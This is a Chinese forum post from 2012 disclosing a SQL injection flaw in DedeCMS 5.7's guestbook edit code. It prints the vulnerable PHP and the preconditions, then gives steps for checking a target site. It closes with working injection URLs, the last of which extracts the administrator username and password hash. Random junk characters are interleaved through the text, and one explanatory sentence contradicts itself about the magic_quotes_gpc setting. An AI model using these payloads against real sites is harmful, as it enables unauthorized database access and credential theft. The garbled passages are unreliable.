找回密码
 立即注册
查看: 4458|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
! K- Q5 t* S4 j8 Z- f
- S  `) D% B6 e# y漏洞文件edit.inc.php具体代码:
: {  k# N1 m, o$ r/ v! x! p, n3 _2 M% X2 R% V4 G& p( t
< ?php  - E& `. x, d$ \" @+ }
) |. V- E; r% P5 x' g) J( x
if(!defined('DEDEINC')) exit('Request Error!');  
  O3 r& E" ~5 y) P5 l
8 ^8 C. G: A' {" q   6 M) p0 k8 `, t1 Q2 X

5 N2 P- G* h) G. Y2 O# c$ v. O+ Dif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
% @) V/ ~: T5 ?. K3 @8 [& w5 u" d( i9 F% Y" I7 K4 L: [
else $GUEST_BOOK_POS = "guestbook.php";  
1 n9 R8 V2 \( f+ j: P1 C, e
; u! K3 q: ?; G2 X* e   
: g3 o% H7 h- x2 l7 [
  c! v" b2 h0 r( a- `% m. v$id = intval($id);  * U9 g& n% Z* K) A

2 L/ Z5 e$ f8 A! k. ?) ?if(empty($job)) $job='view';    ~& A( ~5 ?$ w

8 n- E! m; R) l0 R  L4 G   - o4 c. w; D& h8 F7 N

; }2 i: o) E% C( q: pif($job=='del' && $g_isadmin)  
1 M% v* K6 |, D( Q" a- k$ h1 p! v. L% w
{  6 l/ z) M/ l' d4 O

7 h" ]+ k9 T; N; S$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  + s9 p8 t, [; ?6 n, X, H' V

+ z8 B% D# O# C8 F3 L; aShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  % H$ ~# j7 |/ y3 ^

  ^! R- |' Q% a( t4 ]8 o' Q2 `) S' [4 }exit();  
. o# s: h0 |1 p; E
  ~1 Z4 Y3 P- B2 Q/ p/ P! Y}  4 f- b  x. b3 J; g  D' ]

( m2 Q( p6 U* x& q3 o+ Ielse if($job=='check' && $g_isadmin)  ! I# Z& y6 O( J6 B4 n4 L$ B

0 u  r5 a3 K& a) D' q$ V8 |{  
6 G  I7 z& c% e" m4 A: ?. y1 C0 {) B) E9 p. _4 b
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  & `$ W! d, |( C" _, \. {) [

3 m0 _' S# V0 I: W% _$ gShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
5 b  x1 _- b- W. P3 a" ^  C) R
1 B7 {7 [# D9 m' [" M8 {exit();  
3 d5 W) J: a2 q$ U/ G- e  R1 }$ g
. s& k9 ~1 T% j9 S8 C, d2 r}  ' {5 a+ J7 L# l2 a( H! j% N  r
( F9 [3 f" s' o/ p; Z8 D
else if($job=='editok')  
9 e- I- C! u" A& [7 v+ ], [
% u! M% S5 o. G{  # Q' @) K5 W6 ]

2 b4 @& U6 K5 v) J0 Y7 Y2 h$remsg = trim($remsg);  
5 Q  ]: O) d0 k: r9 X$ K' X$ h" h, U8 U! G) ^# P# f4 s% L0 q8 y; i" g
if($remsg!='')  
* X+ P* _5 B- C1 b! B
! E& o, p. n% P! }6 a{  $ ]2 O! Q+ m8 |( D' Y

5 S  w& ]# C) T0 `* V2 N( @//管理员回复不过滤HTML By:Errorera blog:errs.cc  
! S9 g' ^, u6 N. ]1 N' H+ ]# ^) N
/ n* @  @5 Z, o! V6 B9 e6 P6 q" }" lif($g_isadmin)  , n: L) C* z" H) `: c
1 {' [  E+ S" C) V, H
{  
- A0 i( V5 [8 [$ t  }( W4 s7 M1 W" L# T" @+ j; A. n7 j9 C# I0 [- q
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  / y' P: Z% T5 f+ W+ x$ M
$ s2 R1 n1 f0 c
//$remsg <br /><font color=red>管理员回复:</font> }  , [- Y; G" q- p( m7 l1 D

5 O4 w  k, {, Z# t. Belse ( H  ~8 L9 n4 R
2 m9 w8 ?3 J+ f9 |( d. d, |7 P3 F
{  $ D% o9 d' ~! G8 \! K' \

, d# j9 [; V( S% ~$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
. }# m; J/ v" d  ^+ F
0 e; m- H3 M7 j$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  . R7 @: Y) W1 {5 @* o* B
: D/ k6 D5 X: \; c( q
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  : H8 w' [  H! {
' ^$ h: }" @* n' f, a9 d$ k
$msg = $oldmsg.$remsg;  3 i; e- s2 g0 |0 f: u. \/ F
) x8 k% g- F$ ^: h
}  . s8 ^* B( \! s6 u

: j7 F& [4 _0 z% t  y( ^/ N}  
% R+ }3 ?, |" i5 ?5 G/ c  a9 D  r9 \( b$ ?6 m6 C3 j  J: P5 u- h
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
( Z2 I1 v9 |2 O) u4 ?) L( S7 e% N0 C, J+ _
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  * b9 d+ _. C  a* r, I8 Y6 P

- W# ]9 q0 @6 bShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
% n7 d! D* P. s- q2 y
) ]9 j" c, V1 Mexit();  
+ `( @% x% _+ J
/ q2 }( e9 ?+ T) [3 ^8 V- k& [}  
) d, ?  `& y% u7 Y: R8 _
# T& u; Y% c/ W$ M  Q//home:www.errs.cc  
5 M* H! E0 H$ `) n; _
' R: s7 K" w! r/ J6 X% \if($g_isadmin)  " I5 Y' l+ s# d2 l

" x" K+ n! a8 n( }" H4 ]$ c6 v{  ! x1 {- ]* p; _1 O+ I
$ a4 W/ P2 m" D9 E+ X- m4 w6 T
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
2 R0 D$ o: D# ~! [6 Q4 w7 V6 E  \& R8 J2 k! V
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  ) ?' Z$ u/ x. D5 G* }. w
9 ^" F3 c& R" Z0 D
}  * h. {3 W+ E* b/ A* G

# r1 F! Q8 v- P  Belse ) z# H* H' q# a! W  a

0 S* [: Z! o# z2 r7 J6 L; K6 Z: z  \{  2 X1 @& A7 l/ v7 ~' t
1 |2 B2 A4 E7 |) w- x- {/ S
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  6 S! l3 r; u; f# \
: @* w; i+ @' @' q. g
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  ! a( c' w; o/ m8 K* \6 _) W
8 t- W  M$ I7 a8 H& l& _% J! k
} 漏洞成功需要条件:
# ]; r% x! l  S7 G9 S1. php magic_quotes_gpc=off: y. ]( J( M, w9 _+ k' i% s
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
1 o; k4 }% Q$ |6 v' }. D1 `2 l
$ k3 ]( s* n& M4 i: s2 m  {. L怎么判断是否存在漏洞:  U) Z5 {8 o7 J# Y( D
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
& R2 W1 e% J4 p& u8 S- H然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
9 ^; ~- B$ i4 C6 ]: m访问:" j& i) L5 I+ m# Y2 c
) k7 h; c! {4 T& h, K+ p" M$ Z
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了# X9 @5 `! r- W. \1 w; y
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
7 r2 N  j6 G( F% v: ^8 G
: z% h. y- ?/ q, D+ D$ E! [, W
; o8 ?5 ~& i7 v( G# @$ N) }明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
! Z9 @6 \7 |; @% y" C( W  L如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。! v1 O" `5 b4 H9 H/ |+ k
那么再次访问
: G5 Z1 H0 e6 x, P& Z' M: Q1 A$ n3 E2 S( c$ Y: Z  f3 E. `/ t
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
3 I( j9 c( ~0 p; ?: W( w& ~. ]' R. f: o" _0 X, C8 T
大概利用就是这样,大家有兴趣的多研究下!!
. {1 P1 \4 Y/ ]# Y) C) a
: H6 z. r8 z0 T2 F& d; \最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!/ o4 A0 N2 l; U+ |0 W" n# p4 n
' d& N8 E- g" v( X& r
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表